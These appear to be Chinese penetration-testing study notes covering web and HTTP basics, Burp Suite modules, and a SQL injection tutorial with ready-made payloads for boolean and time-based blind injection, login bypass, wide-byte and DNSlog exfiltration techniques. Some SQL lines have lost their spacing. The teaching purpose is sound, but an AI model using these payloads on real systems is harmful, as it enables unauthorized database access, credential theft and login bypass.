渗透笔记 :基础入门与 SQL 注入
一、基础概念名词
1. 域名
- 网站的网络身份证,通过第三方平台注册。
- 国内主要注册商:阿里云、腾讯云;国外常用:GoDaddy。
- 二级/多级域名:
- 顶级域名:
baidu.com - 二级域名:
tieba.baidu.com - 多级域名:
bbs.tieba.baidu.com
- 顶级域名:
2. DNS
- 域名系统,实现域名与 IP 地址的双向映射。
- DNS 和本地 hosts:访问域名时,先查本地 hosts 文件,如果没有再去查 DNS 缓存。
- CDN:内容分发网络,通过全球边缘节点缓存源站内容,用户就近访问提升速度。
3. HTML
- 标签加纯文本按规则组合而成,构成可被浏览器解析渲染的网页。
- 结构:
- 版本声明
<!DOCTYPE html>:非 HTML 标签,向浏览器声明 HTML 版本的关键指令。 - 头部:包裹
<title>、外部样式、脚本链接等元信息,不直接展示给用户。 - 主体:用户可见内容均置于
<body>标签下,涵盖标题、段落、链接、图片、音视频等可视化内容。
- 版本声明
- 嵌套自由:HTML 标签支持多层嵌套,层次越深页面结构越精细,视觉效果越丰富。
- 三大基石:
- 标签:成对出现,语法单元,用于标识内容类型。如
<p>(开始)与</p >(结束)。 - 元素:从开始标签到结束标签的完整代码块。如
<p>Hello</p >。 - 属性:写在开始标签内部的键值对,为元素提供附加控制信息。
- 标签:成对出现,语法单元,用于标识内容类型。如
4. CSS
- 层叠样式表,仅控制外观渲染。
- 支持字体、字号、颜色、间距、布局等像素级精确控制,可独立修改任意元素样式,不影响页面功能逻辑。
5. JavaScript
- 可插入 HTML 页面的轻量级动态基于原型的脚本语言。
- 兼具命令式、面向对象与函数式编程特性。
- 可用于:弹窗交互、DOM 内容修改、样式动态切换、前端校验逻辑。
二、HTTP 协议
1. HTTP 协议是怎么工作的
- 连接建立:客户端主动向 Web 服务器的 HTTP 默认端口(80)发起 TCP 套接字连接。
- 请求发送:连接成功后,客户端按标准结构发送 HTTP 请求,严格包含请求行、请求头部、空行和请求数据体四部分。
- 响应返回:服务器解析请求,定位资源,将内容复制至已建 TCP 连接,返回包含状态行、响应头部、空行和响应数据体的完整响应。
- 连接管理:依据
Connection头字段决定生命周期。设为close则双方依次关闭 TCP 连接;设为keep-alive则复用连接,在超时窗口内持续交互。
2. 网址、域名和 IP
URL
一个完整的网址:https://www.example.com:443/news/detail?id=10#top
| 部分 | 内容 | 说明 |
|---|---|---|
| 协议 | https:// | 用什么方式访问 |
| 域名/主机 | www.example.com | 服务器名 |
| 端口 | :443 | 通常省略 |
| 路径 | /news/detail | 服务器上的具体资源 |
| 查询参数 | ?id=10 | 传给服务器的数据 |
| 片段 | #top | 页面内锚点,通常不发给服务器 |
域名是网址的一部分。人记不住 IP(如110.242.68.66),所以用域名(如www.baidu.com),DNS 会把域名解析成 IP,浏览器才能找到服务器。
IP 地址
- 用于标识设备的唯一数字标识(最多)。IP 地址分为 IPv4 和 IPv6。
- 查看电脑 IP 地址:Windows →
ipconfig;Linux →ifconfig。 - IPv4 地址格式:32 位二进制组成,点分十进制,范围
0.0.0.0到255.255.255.255,最大允许约 43 亿台计算机连接。 - 公网 IP:由国际互联网地址分配机构统一规划、分配,能够在全球互联网中直接被识别和访问的 IP 地址。公网 IP 不够用,于是有了 IPv6。
- 私网 IP:由互联网标准机构预留的,仅在本地局域网中使用的 IP 地址,不直接参与全球互联网通信。平时办公室、家里、学校用的 IP 地址一般都是私有 IP 地址,可自己管理、自己分配、自由使用。
3. HTTP 协议定义
- 是浏览器与服务器、服务器与服务器之间通信的语言规范。
- 机制分为请求和响应两个部分,类似一问一答。
- 请求:你的操作,比如访问什么地址、登录注册。
- 响应:返回结果,比如登录成功、注册成功。
4. URL 格式
[协议]://[用户名:密码@]主机名[端口]/[路径]/[查询参数][片段标识符] http 域名 80 https 4435. 请求消息结构
方法 URL 版本 CRLF ← 请求行 首部字段名: 值 CRLF ... 首部字段名: 值 CRLF CRLF 请求体(数据)HTTP 请求格式
请求头部:由多个键值对组成,格式为键: 值,每行一个头部字段。
Host:指定服务器域名和端口。User-Agent:描述客户端浏览器/设备信息。Accept:声明客户端可接受的响应类型。Cookie:携带客户端存储的会话信息。Content-Type:指定请求体数据格式(如application/json)。
6. 请求方法
定义客户端对服务器资源的操作类型,不同方法有不同语义和使用场景。HTTP 标准定义了多种请求方法:
| 方法 | 中文名称 | 主要功能 | 是否有请求体 | 安全性 | 可靠性 |
|---|---|---|---|---|---|
| GET | 获取 | 请求指定资源 | 否 | 安全 | 是 |
| POST | 提交 | 向服务器提交数据 | 是 | 不安全 | 否 |
| PUT | 上传 | 上传指定资源(全量更新) | 是 | 不安全 | 是 |
| DELETE | 删除 | 删除指定资源 | 否 | 不安全 | 是 |
| HEAD | 头部 | 类似 GET,但仅返回响应头部 | 否 | 安全 | 是 |
| OPTIONS | 选项 | 请求服务器支持的方法 | 否 | 安全 | 是 |
| CONNECT | 建立隧道 | 建立到目标服务器的网络隧道(通常用于 HTTP 代理) | 否 | 不安全 | 否 |
| TRACE | 追踪 | 回显收到的请求,用于诊断和调试 | 否 | 不安全 | 是 |
GET 方法介绍
- 最常用方法,用于请求服务器返回指定资源。
- 特点:
- 数据通过 URL 的查询参数传递。
- 传输数据量有限制(取决于浏览器和服务器)。
- 数据会显示在 URL 中,不适合传输敏感信息。
POST 方法介绍
- 用于向服务器提交数据,通常会导致服务器状态变化。
- 特点:
- 数据通过请求体传递,不在 URL 中显示。
- 可传输大量数据(无固定限制)。
- 常用于表单提交、文件上传等场景。
7. 响应状态码
| 类别 | 原因 | 状态响应代码 |
|---|---|---|
| 1XX | Information(信息) | 接收的请求正在处理 |
| 2XX | Success(成功) | 请求正常处理完毕 |
| 3XX | Redirection(重定向) | 需要进行附加操作以完成要求 |
| 4XX | Client Error(客户端错误) | 服务器无法处理请求 |
| 5XX | Server Error(服务器错误) | 服务器无法处理请求 |
8. 头部字段
- User-Agent:向服务器标识发送请求的客户端软件(浏览器等)及操作系统信息。格式:
[软件名称]/[版本号] ([系统信息]) [其它信息]。 - Cookie:在客户端存储少量数据,用于维持会话状态、跟踪用户等。格式:
Cookie: 键1=值1; 键2=值2; ...;Set-Cookie: 键=值; 属性1=值1; 属性2=值2。 - Referer:指示当前请求是从哪个 URL 跳转过来,用于跟踪请求。值为来源页面的完整 URL 或路径。
- X-Forwarded-For:记录客户端的真实 IP 地址,当请求经过代理服务器时使用。格式:
X-Forwarded-For: 客户端IP, 代理IP, 代理2IP。 三、Burp Suite
作用:拦截数据包并对其中数据进行修改。
应用场景:
- 截获并修改 HTTP/HTTPS 请求数据。
- 实现自动化漏洞扫描。
- 爆破登录表单。
- 识别越权、XSS、SQL 注入等漏洞。
- 插件扩展自动化测试脚本开发。
1. 代理模块
用于拦截和分析浏览器或客户端发送到 HTTP/HTTPS 请求。
作用:
- 拦截请求:可以实时查看、修改、转发或丢弃 HTTP/HTTPS 请求。
- 调试测试:方便手工测试 Web 漏洞(如 XSS、SQL 注入、身份验证绕过)。
- 记录日志:保存请求和响应,便于分析。
- 配合其他模块:拦截到的请求可以发送到 Repeater、Intruder 或 Scanner 进一步测试。
拦截步骤:
- 在浏览器打开需要抓包测试的网站。
- 点击代理插件,选择创建情景模式的名称。
- 开启拦截功能(Intercept is on)。
- 触发请求。
拦截开关:
on/off:控制是否拦截请求。- 放行:将拦截的请求发送到服务器。
- 丢弃:直接丢弃请求,不会到达服务器。
2. HTTP 历史记录
查看所有经过代理的请求和响应。内容包括请求的 URL 参数、状态码、长度、MIME 等信息。
3. WebSockets 历史记录
WebSockets 是一种在客户端和服务器之间建立持久连接的通信协议,允许双方进行全双工(双向同时)通信。它是 HTML5 规范的一部分,旨在解决传统 HTTP 协议在实时通信场景中的局限性。
记录如下:
- 实时聊天/即时通讯(如在线客服、社交软件聊天)。
- 实时数据更新(如股票行情、体育赛事比分)。
- 多人在线协作工具(如文档共同编辑)。
- 实时游戏(如多人在线小游戏)。
- 监控系统(如实时日志、设备状态监控)。
4. 匹配和替换
允许你在请求或响应流量经过 Burp 时自动匹配特定内容并替换为自定义内容,就像给 Burp 配置了一个“自动改写规则”,不用每次手动修改。
常见用途:
- 修改 UA(User-Agent)→ 模拟不同浏览器或设备。
- 替换 Cookie → 自动带上自己的 Cookie,测试 Cookie。
- 修改 Host/Header 字段 → 用于内网穿透或目标重定向测试。
- 替换响应内容 → 比如去掉 CSP 头,方便测试 XSS。
5. 重放模块(Repeater)
主要用于手工修改和重放请求,观察目标服务器的响应变化。
作用:
- 调试参数,测试漏洞(SQLi、XSS、越权等)。
- 手工修改 Cookie、Header、Body 数据。
- 比较不同请求的响应差异。
- 复现和验证漏洞。
操作流程:
- 打开靶场并拦截目标数据包。
- 右键点击数据包,选择“Send to Repeater”。
- 在 Repeater 模块中修改请求参数。
- 点击“Send”按钮观察变化。
视图功能:
- Pretty:美化后的 HTTP 响应。
- Raw:原始 HTTP 响应。
6. 爆破模块(Intruder)
自动化攻击工具,主要用于对 Web 应用的参数、接口或功能进行批量测试,以发现漏洞、枚举资源或爆破认证信息。
流程:
- 拦截目标请求,右键选择“Send to Intruder”。
- 在 Intruder 的数据包中,通过鼠标选择要枚举的位置,点击“添加 payload 标记”,双击位置。
- 在“Payload”标签页中为每个标记的位置配置字典。
- 在“资源池”标题中配置线程数、延迟、Grep 关键词等。
- 点击“开始攻击”按钮运行。
- 根据返回数据包判断结果。
7. 爬虫功能
自动探索和映射 Web 应用程序结构的重要工具,能够发现应用程序页面、链接、表单等资源。
操作流程:
- 点击仪表盘中的“新建扫描”。
- 输入目标 URL。
- 开始扫描。
区别:爬虫与审计
- 爬虫:只收集网站链接,不进行漏洞测试。
- 审计:自动获取网站并检测漏洞。
8. 解码模块(Decoder)
Decoder 是 Burp 内置的一个数据编解码工具,主要用于:
- 对数据进行解码(如 Base64、URL、HTML 实体等)。
- 对数据进行编码(如 URL 编码、Base64、Hex、HTML 编码等)。
- 便于分析和构造测试 payload。
流程:
- 拦截目标网站数据包。
- 发现需要解码的内容。
- 选中内容发送到 Decoder 模块。
- 选择对应解码方式查看原始内容。
9. 对比模块(Comparer)
Comparer 是 Burp Suite 用来对比两段数据差异的模块。它可以比较请求之间的差异(如不同参数请求的区别),响应之间的差异(如数据信息 VS 正常信息),任意文本直接复制粘贴进行对比。
常用于:
- 盲注/布尔型注入测试:响应差异很小时辅助确认。
- 认证/越权测试:不同用户请求返回的差别。
- 响应调试:检查加密参数、隐藏字段的细微变化。
流程:
- 拦截目标网站数据包。
- 将几个数据包发送到对比模块,选择文字或字节进行对比。
四、SQL 注入漏洞
1. SQL 漏洞原理
根本原因:由于程序未对用户输入数据进行合法性验证和过滤,导致 SQL 查询语句被恶意拼接。
- 正常用户:访问页面
index.php?id=1,网站查询select * from user where id=1,返回查询结果给用户。- 攻击者:修改参数,构造恶意 SQL 语句,如
index.php?id=1 and 1=2,网站查询select * from user where id=1 and 1=2,返回查询结果给攻击者。
2. 危害
- 获取敏感数据,获取网站管理员账号密码等。
- 绕过登录验证,使用万能密码登录后台等。
- 注册表操作,读取、写入、删除注册表等。
- 文件系统操作,读取、写入文件等。
- 执行系统命令,远程执行命令。
3. 分类
- 注入位置分类:GET 注入、POST 注入、Head 头注入。
- 结果反馈分类:有回显注入(显错注入)、无回显注入(盲注)。
- 数据类型分类:
- 字符串型注入:参数为字符串,需用单引号闭合。
- 数字型注入:参数为整型,无需单引号。
4. MySQL 数据库
目前全球最流行的开源数据库之一,广泛应用于各类应用系统的数据存储与管理,尤其在 Web 开发领域占据重要地位。
信息数据库:information_schema库
相当于数据库的目录,类似书籍目录,用于快速定位内容。
两个表:
tables表:存放整个 MySQL 程序中有哪些数据库和对应的数据表。table_schema:数据库库名。table_name:对应数据库中的表名。
columns表:存放整个 MySQL 程序中有哪些数据库和对应数据表以及对应表的字段名。table_schema:数据库库名。table_name:表名。column_name:字段名称。5. SQL 注入前置知识
查询语句:用于从数据库表中检索数据。
- 查询表中所有列:
select * from 表名 - 查询指定列:
select 列1,列2 from 表名 - 带条件查询:
select * from 表名 where 条件 - 查询排序:将查询结果进行排序。
select * from 表名 order by 列名/数字 - 联合查询:将两个或多个 select 语句结果合并成单个结果集。
注意:union 查询的时候,前后连接的查询语句列数必须相同。select列1,列2,...from表1unionselect列1,列2,...from表2
常见函数:
version():数据库版本database():当前数据库名user():当前用户@@datadir:数据目录@@version_compile_os:操作系统- 用法:
select version();
注释符号:
- 单行注释:
--(两个减号后跟一个空格)、#(井号)
逻辑运算:
and运算符:所有条件同时成立。or运算符:只要一个条件成立即可。
6. SQL 注入步骤
- 判断是否存在注入点:利用“单引号”或“双引号”来判断是否存在漏洞。如果出现 SQL 语句错误,说明很大可能会有漏洞。
- 判断注入类型:判断是数字型还是字符型。这涉及到在注入过程中是否要添加单引号(数字型不需要引号,字符型需要引号)。可以使用
and 1=1、and 1=2和' and '1'='1、' and '1'='2、' or 1=1 #进行判断。 - 判断查询列数:为了方便后续数据获取,需要先知道查询表中显示的列数。可以使用
order by(当 order by 数字大于当前列数就会报错)进行判断。 - 确定显示位:在一个网站的正常页面,服务端执行 SQL 语句查询数据库中的数据,客户端将数据展示在页面中,展示数据的位置就叫显示位。
7. 联合注入获取数据库
- 获取数据库名:在有回显的位置上将获取数据库名的函数进行替换。
- 获取数据库表名。
- 获取表中字段名。
- 获取表中记录。
注入漏洞详解:盲注、报错与进阶利用
一、 SQL盲注基础与实战
1.1 布尔盲注原理
当程序不返回查询结果或错误信息,仅根据查询的真/假返回不同响应时使用。类似于无法开口说话的人,只能通过点头和摇头来告诉你答案。
- 与联合注入的区别:
- 联合注入:结果有回显,查询内容直接显示在页面上。
- 布尔盲注:无数据回显,仅通过页面状态变化判断SQL执行结果。
1.2 盲注流程
- 判断是否存在注入 -> 2. 获取数据库长度 -> 3. 逐字猜解数据库名 -> 4. 猜解表名数量 -> 5. 猜解表名长度 -> 6. 逐字猜解表名 -> 7. 猜解列名数量 -> 8. 猜解列名长度 -> 9. 逐字猜解列名 -> 10. 判断数据数量 -> 11. 猜解数据长度 -> 12. 逐位猜解数据。
1.3 核心函数
| 函数 | 说明 | 示例 |
|---|---|---|
length() | 返回字符串长度 | select length(database()) |
ascii() | 返回第一个字符的ASCII码 | select ascii('a') |
substr() | 截取字符串子串 | substr(database(), 1, 1) |
count() | 统计记录行数 | select count(*) from users |
limit | 限制返回行数 | select * from users limit 0, 1(0代表第一行) |
1.4 实战Payload演示
(1) 判断注入:-1' or 1=1 #
(2) 获取数据库长度:-1' or length(database()) = 18 #
(3) 获取数据库名(逐字猜解):-1' or ascii(substr(database(), 1, 1)) = 115 #
(4) 获取表数量:-1' or (select count(table_name) from information_schema.tables where table_schema='sql_injection_demo') = 5 #
(5) 获取表名长度:-1' or (select length(table_name) from information_schema.tables where table_schema='sql_injection_demo' limit 0,1) = 4 #
(6) 获取表名:-1' or ascii(substr((select table_name from information_schema.tables where table_schema='sql_injection_demo' limit 0,1),1,1)) = 98 #
(7) 获取列数量:-1' or (select count(column_name) from information_schema.columns where table_schema='sql_injection_demo' and table_name='book') = 4 #
(8) 获取列名长度:-1' or (select length(column_name) from information_schema.columns where table_schema='sql_injection_demo' and table_name='book' limit 0,1) = 2 #
(9) 获取字段名:-1' or ascii(substr((select column_name from information_schema.columns where table_schema='sql_injection_demo' and table_name='books' limit 0,1),1,1)) = 105 #
—## 二、 其他常见SQL注入类型
时间盲注 (Time-Based Blind SQL Injection)
- 原理:页面既无回显,也无布尔盲注的页面状态差异,只能通过构造带有延迟函数的SQL语句,观察服务器的响应时间来判断条件真假。
- 常用函数:
sleep(N)(暂停N秒)、if(条件, 真执行, 假执行)。
- 常用函数:
- Payload示例:
- 判断注入:
-1' and sleep(5) #(页面延迟5秒则存在漏洞)
- 判断注入:
- 判断长度:
-1' and if(length(database())=18, sleep(5), 0) #
- 判断长度:
- 猜解字符:
-1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) #
- 猜解字符:
2.1 万能密码注入
通过构造特殊的用户名或密码,使 SQL 查询条件恒为真,从而绕过登录验证。
- 典型语句:
selectusername,passwordfromuserswhereusername='用户账户'andpassword='用户密码' - 注入方式:在用户名输入
admin' or 1=1#,使查询变为:
井号(#)会注释掉后续的密码验证条件,直接登录成功。whereusername='admin'or1=1#' and password = '...'
2.2 堆叠注入
堆叠查询注入允许攻击者通过分号(;)一次执行多条SQL语句,可能造成更严重破坏。
- 前提:数据库驱动或API支持多语句执行(如PHP的
mysqli_multi_query)。
2.3 报错注入
页面会输出SQL语句的执行错误信息。报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能出现在错误信息中。
- 注意:报错一般只能报前32位,多余部分需用
substr()截取。 三、 进阶注入技巧
3.1 DNSlog 注入方式
在“无回显”场景中充当数据传输的桥梁,帮助安全测试人员获取目标系统的隐藏信息,是漏洞验证和盲注测试的重要辅助工具。
- 原理:利用数据库访问 DNSlog 平台外带查询信息。构建SQL语句使数据库访问
xxx.dnslog.cn,将查询结果作为子域名的一部分,通过 DNSlog 平台记录访问信息来获取数据。 - 必备函数:
load_file()(读取文件函数) - UNC路径:局域网中标识共享资源的标准路径格式,主要用于Windows系统。格式:
\\服务器标识\共享名\子路径\文件名
3.2 宽字节注入
- 原理:针对数据使用宽字节编码导致可以利用宽字节编码的特性绕过应用程序对单引号(
')等字符的转义,从而注入恶意SQL语句。 - 机制:当用户输入单引号时,系统会自动添加反斜杠
\进行转义(如\')。如果是GBK编码,系统转义时添加的反斜杠会与%5c(即\) 或%df组合成GBK汉字(如%df%5c组合成汉字“運”),单引号因此逃逸出来,恢复SQL语句闭合功能。 - Payload示例:
%df'or1=1#